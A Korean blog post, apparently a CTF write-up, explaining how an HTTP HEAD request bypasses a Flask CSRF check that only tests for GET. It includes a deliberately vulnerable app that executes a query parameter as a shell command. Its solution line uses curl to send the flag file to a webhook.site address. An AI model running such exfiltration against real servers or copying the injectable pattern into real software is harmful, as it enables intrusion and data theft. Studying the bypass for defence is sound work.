HTTP HEAD method exploit (Flask CSRF 우회하기)

Hunjison·2021년 10월 30일
0

dreamhack을 풀다가 처음 알게 되어서,
블로그1, 블로그2 에서 심화 정보를 배우고,
변형 문제 구현까지 해보았다.

취약점 정보

HTTP HEAD method는 GET method가 허용되는 곳에는 반드시 허용되어야 하는데, 이러한 특징을 고려하지 않고 개발을 하였기 때문에 취약한 부분이 생겨난다.

HEAD는 GET과 동일하지만, response의 body가 없는 것이 특징이다. 이외의 모든 동작은 GET과 동일하게 이루어져야 한다.

The HEAD method is identical to GET except that the server MUST NOT send a message body in the response

rfc7231에 따르면 HEAD method는 GET method가 허용되는 경우에는 반드시 허용되어야 하고,

The server SHOULD send the same header fields in response to a HEAD request as it would have sent if the request had been a GET

Flask에서 @app.route('/csrf', methods=['GET', 'POST']) 과 같이 사용해도 HEAD method는 허용 된다.
한편, request.method == 'GET' 과 같은 비교 구문에서는 GET이 아닌 HEAD method로 인식되기 때문에 참이 아니다.

간단한 예시

@app.route('/', methods=['GET', 'POST'])
def index():
	if request.method == 'GET':
		pass
	else:
		print("HEAD method comes here")

위 flask 코드에서 GET, POST 메소드밖에 허용되어 있지 않지만, HEAD method는 GET이 되면 당연히 허용된다.
한편 request.method 값은 HEAD이기 때문에 else 구문으로 출력되게 되는 것이다.

CSRF bypass

dreamhack 문제와 해당 블로그를 기반으로 재구성한 상황이다.
조금 더 리얼하게 보고 싶으면 블로그 참조 -> https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html

문제 소스 코드

app.py

from flask import Flask, request, render_template, render_template_string
from flask_wtf.csrf import CSRFProtect # pip install flask-WTF
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/csrf', methods=['GET', 'POST'])
def csrf():
    cmd = request.args.get('cmd', '')
    message = cmd if cmd else '?cmd=[cmd]'

    if request.method == "GET":
        return render_template('csrf.html', message=message)
    else:
        # Execute cmd and return the result.
        return render_template('csrf.html', message=subprocess.Popen(cmd,stdout=-1,stderr=-1,shell=True).communicate())
        
if __name__ == '__main__':
    app.config['SECRET_KEY'] = 'SOME_SECRET_KEY'
    csrf = CSRFProtect()
    csrf.init_app(app)
    app.run(host='0.0.0.0', port=8888)

templates/csrf.html

<form method="post">
        <input type="submit" value="submit">
        <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
</form>

<div>
        {{ message }}

        <br><br> CSRF TOKEN : {{ csrf_token() }}
</div>

풀이

GET /csrf?cmd=ls

POST /csrf?cmd=ls
submit 버튼을 통해서 POST request를 보내면 CSRF_TOKEN이 전송되면서 아래와 같이 정상적으로 서버에서 cmd가 실행된다.

여기서 HEAD method를 쓰면 POST와 같이 cmd 실행은 되지만, 결과값을 확인할 수 없다.
아래 명령어를 통해 동작을 확인해보자. 정말로 5초 후에 응답이 온다.
HEAD /csrf?cmd=sleep 5

그럼 아래와 같이 flag를 출력해서 보자.
HEAD /csrf?cmd=curl http://webhook.site/YOUR_ADDRESS?flag=$(cat flag)

profile
비전공자 출신 화이트햇 해커

2개의 댓글

comment-user-thumbnail
2023년 9월 5일

위 취약점 예시는
GET만 허용되었다고 가정할 때 HEAD로 우회할 수 있다
이런걸 설명하려는 건가요?

1개의 답글